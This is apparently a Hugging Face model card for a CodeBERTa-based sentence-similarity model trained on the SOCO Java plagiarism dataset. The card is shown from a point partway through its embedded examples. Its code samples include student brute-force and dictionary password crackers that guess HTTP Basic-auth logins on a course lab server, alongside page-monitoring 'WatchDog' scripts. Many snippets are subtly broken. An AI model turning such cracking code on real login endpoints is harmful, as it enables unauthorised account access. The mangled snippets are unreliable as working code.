{\n\t\t\tuserPassword = userID\882 \ + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\883 \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\884 \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\885 Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\886 Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t\887 }\n\tcatch (Exception ioe) {\n System.out.println(ioe.getMessage());\n\888 \ }\n finally {\n }\n\t}\n\t\n\tpublic int attackURL(String\889 \ userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t URL\890 \ url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\891 \t\t String encoding = Base64Converter.encode (userPassword.getBytes());\n\892 \t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty\893 \ (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\894 \t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\895 \t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\896 \t\t\tSystem.out.println(line);\n\t\t }\n\t\t} catch (MalformedURLException\897 \ e) {\n\t\t\trtn = 2;\n\t \t\tSystem.out.println(\"Invalid URL\");\n\t\t\898 } catch (IOException e) {\n \t\t\tSystem.out.println(\"Error URL\");\n\t\899 \t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n"900- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\901 public class WatchDog\n{\n\n \n public static void main(String args[])throws\902 \ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\903 \ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\904 , \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\905 \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\906 };\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\907 \ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\908 \ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\909 \ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\910 \ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\911 mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\912 mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\913 wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\914 \n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\915 \ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\916 \n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\917 wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\918 \n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\919 \ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\920 \n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\921 \ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\922 \ p4.waitFor();\n \n System.out.println(\"The\923 \ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\924 Value :\" + p4.exitValue());\n try\n {\n \925 \ while ((str = inp1.readLine()) != null)\n {\n \926 \ System.out.println(str);\n }\n }\n \927 \ catch (IOException e)\n {\n System.exit(0);\n \928 \ }\n\n }\n catch(FileNotFoundException e )\n \929 \ {\n e.printStackTrace();\n }\n\n BufferedReader\930 \ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \931 \ if (in.readLine() != null)\n {\n\n try\n {\n\932 \ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \933 \ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\934 \ p5.waitFor();\n try\n {\n while\935 \ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\936 \ }\n }\n catch (IOException e1)\n \937 \ {\n System.exit(0);\n }\n\n }\n \938 \ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\939 \ }\n\n }\n }\n }\n}\n\n"940 sentences:941 - "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\942 \nclass Dictionary{\n\n public static void main(String [] args){\n \943 \ try\n {\n Date d = new Date();\n \944 \ String line1=\"\";\n String ps=\"\";\n \945 \ String file1 = \"words.txt\";\n String file2 = \"index.html\"\946 ;\n String endline=\"Authorization failed.\";\n \947 \ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \948 \ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\949 ;\n\n FileReader fr1 = new FileReader(file1);\n \950 \ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\951 \ = in1.readLine())!=null)\n {\n try{\n \952 \ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\953 \ if(line1.length()==3)\n ps = line1;\n\954 \ System.out.println(cmd[2]);\n File f =\955 \ new File(file2);\n if(f.exists())\n {\n\956 \ System.out.println(\"password: \" + ps);\n \957 \ break;\n }\n }\n \958 \ catch(IOException ex)\n {\n System.out.println(\"\959 hello1\");\n }\n\n }\n Date end\960 \ = new Date();\n System.out.println(d.toString());\n \961 \ System.out.println(end.toString());\n System.out.println(\"\962 Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \963 \ catch(IOException e)\n {\n System.out.println(\"\964 hello,didnt find file.\");\n }\n }\n public static String connect(String\965 \ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\966 \ String str = new String(data);\n return str\967 \ + str1;\n }\n\n}\n"968 - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\969 import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public\970 \ static FileWriter out = null, output = null;\n\n public static void main\971 \ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\972 \ = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\973 \ = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n\974 \ System.out.println(\"Detecting the changes...\");\n\n try {\n\n\975 \t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\976 );\n URLConnection yc = yahoo.openConnection();\n\n \n \977 \ BufferedReader in = new BufferedReader(\n \978 \ new InputStreamReader(\n yc.getInputStream()));\n\979 \n String inputLine;\n try {\n out = new\980 \ FileWriter(\"newstudent\");\n while ((inputLine = in.readLine())\981 \ != null){\n out.write(inputLine + \"\\n\");\n \982 \ }\n } catch (IOException ex) {\n ex.printStackTrace();\n\983 \ }\n in.print();\n out.print();\n\n \984 \ dirty = diff();\n if (dirty == 1){\n sendMail();\n\985 \ System.out.println(\"Changes detected and email sent!\");\n \986 \ }\n\n if (diffimages() == 1){\n sendMail();\n\987 \ System.out.println(\"Images modification detected and email sent!\"\988 );\n }\n\n updatePage();\n System.out.println(\"\989 ** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n \990 \ ex.printStackTrace();\n }\n }\n\n public static\991 \ int diff()\n {\n int update = 0;\n\n try{\n Process\992 \ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\993 \ BufferedReader pr = new BufferedReader(\n \994 \ new InputStreamReader(\n process.getInputStream()));\n\995 \n output = new FileWriter(\"output\");\n String inputLine;\n\996 \ while ((inputLine = pr.readLine()) != null){\n output.write(inputLine\997 \ + \"\\n\");\n update = 1;\n }\n output.promt();\n\998 \n }catch (Exception ex){\n ex.printStackTrace();\n }\n\999 \ return update;\n }\n\n public static int diffimages()\n {\n \1000 \ int update = 0;\n String image;\n\n try{\n Process\1001 \ primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n\1002 \ File imageFile = new File(\"imagesname\");\n BufferedReader\1003 \ fr = new BufferedReader(new FileReader(imageFile));\n\n output = new\1004 \ FileWriter(\"output\");\n while ((image = fr.readLine()) != null)\1005 \ {\n primages = Runtime.getRuntime().exec(\"diff \" + image +\1006 \ \" o\"+image);\n BufferedReader pr = new BufferedReader(\n \1007 \ new InputStreamReader(\n \1008 \ primages.getInputStream()));\n\n String\1009 \ inputLine;\n while ((inputLine = pr.readLine()) != null){\n\1010 \ output.write(inputLine + \"\\n\");\n \1011 \ update = 1;\n }\n }\n output.print();\n\1012 \ fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n\1013 \ }\n return update;\n }\n\n public static void sendMail()\n\1014 \ {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"\1015 ./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n\1016 \ }\n }\n\n public static void updatePage()\n {\n String\1017 \ image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"\1018 cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"\1019 rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n \1020 \ BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\1021 \ while ((image = fr.readLine()) != null) {\n updateprocess\1022 \ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n \1023 \ deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n \1024 \ }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n\1025 \ }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\1026 \t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\1027 \n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"1028 - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\1029 \n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\1030 \ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\1031 \ passwd)\n {\n this.pass = passwd;\n }\n\n\t \1032 \ protected PasswordAuthentication getPasswordAuthentication()\n \1033 \ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\1034 \ }\n public String pass;\n }\n\n public BruteForce()\1035 \ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\1036 \ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\1037 \ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\1038 \ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\1039 \n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\1040 ;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\1041 \ String();\n HttpURLConnection connection = null;\n URL u = null;\n\1042 \n try\n {\n u = new URL(url);\n\n }\n catch\1043 \ (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n\1044 \ {\n for(int b=0;b<words.length;b++)\n {\n\1045 \ for(int c=0;c<words.length;c++)\n \1046 \ {\n pass[0]=words[a];\n \1047 \ pass[1]=words[b];\n pass[2]=words[c];\n\1048 \ passwd=passwd.copyValueOf(pass,0,3);\n \1049 \ System.out.println(count+ \" ) \" + passwd);\n \1050 \ count++;\n try\n\1051 \ {\n\n \1052 \ connection = (HttpURLConnection) u.openConnection();\n \1053 \ Authenticator.setDefault(new customAuthenticator(passwd));\n\1054 \n if (connection.getResponseCode()!=401)\n\1055 \ {\n \1056 \ System.out.print(\"The password is : \"+passwd);\n \1057 \ System.out.println();\n \1058 \ java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n\1059 \ System.out.println(d1.toString());\n\1060 \ System.out.println(\"\\ntime taken\1061 \ in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n\n \1062 \ System.exit(0);\n \1063 \ }\n else\n \1064 \ {\n }\n \1065 \ connection.disconnect();\n \1066 \ }\n catch (IOException e)\n \1067 \ {\n System.out.println(e);\n\1068 \ }\n }\n \1069 \ }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\1070 \t\tBruteForce = new BruteForce();\n\t}\n}"1071datasets:1072- buelfhood/SOCO_TRAIN_java1073pipeline_tag: sentence-similarity1074library_name: sentence-transformers1075---1076 1077# SentenceTransformer based on huggingface/CodeBERTa-small-v11078 1079This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.1080 1081## Model Details1082 1083### Model Description1084- **Model Type:** Sentence Transformer1085- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) <!-- at revision e93b5898cff07f03f1c1c09cde284d1b85962363 -->1086- **Maximum Sequence Length:** 512 tokens1087- **Output Dimensionality:** 768 dimensions1088- **Similarity Function:** Cosine Similarity1089- **Training Dataset:**1090 - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)1091<!-- - **Language:** Unknown -->1092<!-- - **License:** Unknown -->1093 1094### Model Sources1095 1096- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)1097- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)1098- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)1099 1100### Full Model Architecture1101 1102```1103SentenceTransformer(1104 (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 1105 (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})1106)1107```1108 1109## Usage1110 1111### Direct Usage (Sentence Transformers)1112 1113First install the Sentence Transformers library:1114 1115```bash1116pip install -U sentence-transformers1117```1118 1119Then you can load this model and run inference.1120```python1121from sentence_transformers import SentenceTransformer1122 1123# Download from the 🤗 Hub1124model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass")1125# Run inference1126sentences = [1127 '\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\npublic class WatchDog\n{\n\n \n public static void main(String args[])throws Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n {\n \n\n String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \\"Part 2-Assignment2 \\" < change.html"};\n String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* predir"};\n String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* predir"};\n String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* postdir"};\n String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* postdir"};\n String s6[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"};\n\n\n Process p = Runtime.getRuntime().exec("mkdir predir");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec("mkdir postdir");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p1.waitFor();\n\n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p3.waitFor();\n\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n p4.waitFor();\n \n System.out.println("The WatchDog - Returns 0 if change else 1");\n System.out.println("Value :" + p4.exitValue());\n try\n {\n while ((str = inp1.readLine()) != null)\n {\n System.out.println(str);\n }\n }\n catch (IOException e)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException e )\n {\n e.printStackTrace();\n }\n\n BufferedReader in = new BufferedReader(new FileReader("change.html"));\n \n if (in.readLine() != null)\n {\n\n try\n {\n String str1;\n p5 = Runtime.getRuntime().exec(s1);\n DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n p5.waitFor();\n try\n {\n while ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n }\n }\n catch (IOException e1)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n }\n\n }\n }\n }\n}\n\n',1128 'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication("",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;a<words.length;a++)\n {\n for(int b=0;b<words.length;b++)\n {\n for(int c=0;c<words.length;c++)\n {\n pass[0]=words[a];\n pass[1]=words[b];\n pass[2]=words[c];\n passwd=passwd.copyValueOf(pass,0,3);\n System.out.println(count+ " ) " + passwd);\n count++;\n try\n {\n\n connection = (HttpURLConnection) u.openConnection();\n Authenticator.setDefault(new customAuthenticator(passwd));\n\n if (connection.getResponseCode()!=401)\n {\n System.out.print("The password is : "+passwd);\n System.out.println();\n java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n System.out.println(d1.toString());\n System.out.println("\\ntime taken in seconds:"+ (d1.getTime() - d.getTime())/1000+"\\n");\n\n System.exit(0);\n }\n else\n {\n }\n connection.disconnect();\n }\n catch (IOException e)\n {\n System.out.println(e);\n }\n }\n }\n }\n }\n\n\tpublic static void main(String[] args)\n\t{\n\n\n\t\tBruteForce = new BruteForce();\n\t}\n}',1129 'import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\nclass Dictionary{\n\n public static void main(String [] args){\n try\n {\n Date d = new Date();\n String line1="";\n String ps="";\n String file1 = "words.txt";\n String file2 = "index.html";\n String endline="Authorization failed.";\n String [] cmd = new String[4];\n cmd[0] = "wget";\n cmd[1] = "--http-user=";\n cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n FileReader fr1 = new FileReader(file1);\n BufferedReader in1 = new BufferedReader(fr1);\n while((line1 = in1.readLine())!=null)\n {\n try{\n cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n if(line1.length()==3)\n ps = line1;\n System.out.println(cmd[2]);\n File f = new File(file2);\n if(f.exists())\n {\n System.out.println("password: " + ps);\n break;\n }\n }\n catch(IOException ex)\n {\n System.out.println("hello1");\n }\n\n }\n Date end = new Date();\n System.out.println(d.toString());\n System.out.println(end.toString());\n System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));\n }\n\n catch(IOException e)\n {\n System.out.println("hello,didnt find file.");\n }\n }\n public static String connect(String str1)\n {\n char data[] = {\'-\',\'-\',\'h\',\'t\',\'t\',\'p\',\'-\',\'p\',\'a\',\'s\',\'s\',\'w\',\'d\',\'=\'};\n String str = new String(data);\n return str + str1;\n }\n\n}\n',1130]1131embeddings = model.encode(sentences)1132print(embeddings.shape)1133# [3, 768]1134 1135# Get the similarity scores for the embeddings1136similarities = model.similarity(embeddings, embeddings)1137print(similarities.shape)1138# [3, 3]1139```1140 1141<!--1142### Direct Usage (Transformers)1143 1144<details><summary>Click to see the direct usage in Transformers</summary>1145 1146</details>1147-->1148 1149<!--1150### Downstream Usage (Sentence Transformers)1151 1152You can finetune this model on your own dataset.1153 1154<details><summary>Click to expand</summary>1155 1156</details>1157-->1158 1159<!--1160### Out-of-Scope Use1161 1162*List how the model may foreseeably be misused and address what users ought not to do with the model.*1163-->1164 1165<!--1166## Bias, Risks and Limitations1167 1168*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*1169-->1170 1171<!--1172### Recommendations1173 1174*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*1175-->1176 1177## Training Details1178 1179### Training Dataset1180 1181#### soco_train_java1182 1183* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)1184* Size: 30,069 training samples1185* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>1186* Approximate statistics based on the first 1000 samples:1187 | | label | text_1 | text_2 |1188 |:--------|:-----------------------------------------------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|1189 | type | int | string | string |1190 | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 448.9 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 54 tokens</li><li>mean: 464.58 tokens</li><li>max: 512 tokens</li></ul> |1191* Samples:1192 | label | text_1 | text_2 |1193 |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|1194 | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.security.*;<br>import java.math.*;<br>import java.*;<br>import java.util.*;<br><br><br>public class WatchDog<br>{<br> public static FileWriter out = null, output = null;<br><br> public static void main (String args[]) throws Exception {<br> Socket socket = null;<br> DataOutputStream = null;<br> BufferedReader bf = null, fr = null;<br> String retVal = null, StatusCode = "HTTP/1.1 200 OK";<br> int dirty = 0, count = 0;<br><br> stime = System.currentTimeMillis();<br> System.out.println("Detecting the changes...");<br><br> try {<br><br> <br> URL yahoo = new URL("http://www.cs.rmit.edu./students/");<br> URLConnection yc = yahoo.openConnection();<br><br> <br> BufferedReader in = new BufferedReader(<br> new InputStreamReader(<br> yc.getInputStream()));<br><br> String inputLine;<br> try {<br> out = new FileWriter("newstudent");<br> while ((inp...</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br> private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private Vector v;<br><br> public Cracker()<br> {<br> v = new Vector( 52);<br> }<br> public void loadLetters()<br> {<br> int i;<br><br> for( i = 0; i < letters.length; i++)<br> {<br> String s = new StringBuffer().append( letters[i]).toString();<br> v.add( s);<br> }<br> }<br> public Vector getVictor()<br> {<br> return ;<br> }<br> public void loadPairs()<br> {<br> int i,j;<br><br> for( i = 0; i < letters.length - 1; i++)<br> {<br> for( j = i + 1; j < letters.length; j++)<br> {<br> String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br> String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code> |1195 | <code>0</code> | <code><br>import java.net.*;<br>import java.*;<br>import java.io.*;<br>import java.util.GregorianCalendar;<br>public class BruteForce<br>{<br><br> private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',<br> 'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',<br> 'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',<br> 'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};<br> private int num=1;<br> public void crackAddress() throws Exception<br> {<br> String line,username="",passwd;<br> int flag=0;<br> Runtime run = Runtime.getRuntime();<br> GregorianCalendar =new GregorianCalendar();<br> for(int k=0;k<passwd_Array.length;k++)<br> {<br> for(int j=0;j<passwd_Array.length;j++)<br> {<br> for(int i=0;i<passwd_Array.length;i++)<br> {<br> passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();<br> System....</code> | <code><br><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br>public class DictionaryPropertyHelper {<br><br> private static Properties dictProps;<br><br><br><br> public DictionaryPropertyHelper() {<br> }<br><br><br> <br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the dictionary Props");<br> e.printStackTrace();<br> }<br> return dictProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(dictProps == null){<br> dictProps = new Properties();<br><br> InputStream fis =<br> DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");<br> dictProps.load(fis);<br> }<br> }<br>}<br><br></code> |1196 | <code>0</code> | <code><br><br><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.Date;<br><br>public class BruteForce {<br> private URL url;<br> private HttpURLConnection connection;<br> private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",<br> "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",<br> "u", "v", "w", "x", "y", "z"};<br> private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",<br> "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",<br> "U", "V", "W", "X", "Y", "Z"};<br> private String userPassword, base64_userPassword;<br> private static char wrongPass;<br><br> public BruteForce() {<br> wrongPass = 'Y';<br> }<br><br> public char determinePass(String inputURL, String userName, String passWord){<br><br> try{<br> url = new URL(inputURL);<br> connection = (HttpURLConnection)url.openConnection();<br> this.getEncoded(userName,...</code> | <code>import java.io.*;<br><br>class WatchDog {<br> public static void main(String args[]) {<br> <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename email address <username@cs.rmit.edu.> of the recordkeeper"); <br> System.exit(1); <br> }<br><br> while (true)<br> {<br> <br> <br> FileInputStream stream=null;<br> DataInputStream word=null;<br> String input=" "; <br><br><br> try {<br><br><br> String ls_str;<br> <br> <br> Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");<br> try {<br> Thread.sleep(2000);<br> }catch (Exception e) {<br> System.err.println("Caught ThreadException: " +e.getMessage());<br> }<br><br> String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};<br><br> ls_proc = Runtime.getRuntime().exec(cmd);<br> <br> <br> try {<br> Thread.sleep(2000);<br> }catch (Exception e) {<br> System.err.println("Caught ThreadException: " +e.getMessage());<br> }<br> <br> <br> <br> if (ls_proc.exitValue()==2) <br> {<br> System.out.println("The file was checked for f...</code> |1197* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)1198 1199### Evaluation Dataset1200 